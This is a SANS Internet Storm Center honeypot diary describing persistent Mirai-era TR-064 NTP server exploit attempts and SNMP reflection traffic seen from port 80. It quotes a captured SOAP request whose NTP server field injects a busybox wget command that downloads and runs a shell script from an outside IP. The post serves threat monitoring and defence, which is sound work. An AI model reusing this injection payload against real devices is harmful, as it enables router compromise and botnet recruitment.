Sometimes, it isnt the new and sophisticated attacks that keep your honeypots (and with that: you) busy, but things that make you go that works?. Looking over my honeypot today, I had a couple experiences like this. First of all, the old TR-064 NTP Server exploit that beca
me big news when the Mirai botnet adopted it. Since then, most of the servers that hosted the follow-up code no longer deliver. But this doesnt prevent thousands of existing bots to persistently attempt the exploit. In addition, it appears that some of the less skilled but persistent attackers (the
Not so Advanced Persistent Threat Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 557
?xml version=1.0?SOAP-ENV:Envelope xmlns:SOAP-ENV=http://schemas.xmlsoap.org/soap/envelope/ SOAP-ENV:encodingStyle=http://schemas.xmlsoap.org/soap/encoding/ SOAP-ENV:Body u:SetNTPServers xmlns:u=urn:dslforum-org:service:Time:1 NewNTPServer1`cd /tmp /bin/busybox wget http://95.215.62.11:80/bin.sh -O – bin.sh sh bin.sh`/NewNTPServer1 NewNTPServer2/NewNTPServer2 NewNTPServer3/NewNTPServer3 NewNTPServer4/NewNT
PServer
4 NewNTPServer5/NewNTPServer5 /u:SetNTPServers /SOAP-ENV:Body/SOAP-ENV:Envelope
The problem with this code is that there is no empty line between headers and body, which makes the request fail. Apache responds to this with a 400 error. Over the last 6 hours, I got about 40,000 requests from around 1,000 different IPsacrosss different honeypots.
Another attack that doesnt go away is SNMP attacks from port 80. These are kind of background trickle that you will see if you look at your firewall logs a bit more careful. And hopefully, they will show up in your firewall as blocked or dropped. The typically I believe these requests
to be spoofed and used as part of a reflective DDoS attack. Most SNMP requests not originating from port 80 do come from researchers. (University Bochum seems to be doing a survey, and of course, Shodan).
A typical SNMP request would be:
13:41:06.216683 IP 50.187.245.21.80 a.b.c.d.161: GetBulk(42) N=0 M=10 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.9.1.3
This request will solicit a description of the system in return, which of course can be somewhat large. In my case, it is 993 bytes:
13:41:06.217446 IP a.b.c.d.161 50.187.245.21.80: GetResponse(993) .1.3.6.1.2.1.1.1.0=Linux myhost 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 .1.3.6.1.2.1.1.9.1.3.1=The MIB for Message Processing and Dispatching. .1.3.6.1.2.1.1.2.0=
.1.3.6.1.4.1.8072.3.2.10 .1.3.6.1.2.1.1.9.1.3.2=The management information definitions for the SNMP User-based Security Model. .1.3.6.1.2.1.1.3.0=17457385 .1.3.6.1.2.1.1.9.1.3.3=The SNMP Management Architecture MIB. .1.3.6.1.2.1.1.4.0=Me [email protected] .1.3.6.1
.2.1.1.9.1.3.4=The MIB module for SNMPv2 entities .1.3.6.1.2.1.1.5.0=flyinghorse .1.3.6.1.2.1.1.9.1.3.5=View-based Access Control Model for SNMP. .1.3.6.1.2.1.1.6.0=Sitting on the Dock of the Bay .1.3.6.1.2.1.1.9.1.3.6=The MIB module for managing TCP
implementations .1.3.6.1.2.1.1.7.0=72 .1.3.6.1.2.1.1.9.1.3.7=The MIB module for managing IP and ICMP implementations .1.3.6.1.2.1.1.8.0=16 .1.3.6.1.2.1.1.9.1.3.8=The MIB module for managing UDP implementations .1.3.6.1.2.1.1.9.1.2.1=.1.3.6.1.6.3.11.3.1.1 .1.3.6.1.2.1.1.9.1.3
.9=The MIB modules for managing SNMP Notification, plus filtering. .1.3.6.1.2.1.1.9.1.2.2=.1.3.6.1.6.3.15.2.1.1 .1.3.6.1.2.1.1.9.1.3.10=The MIB module for logging SNMP Notifications.
The source of the request was a Comcast IP. It isnt clear to me if it was spoofed and if there is something worth DDoSing at that IP, or if this is someone scanning for possible reflectors.
—
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.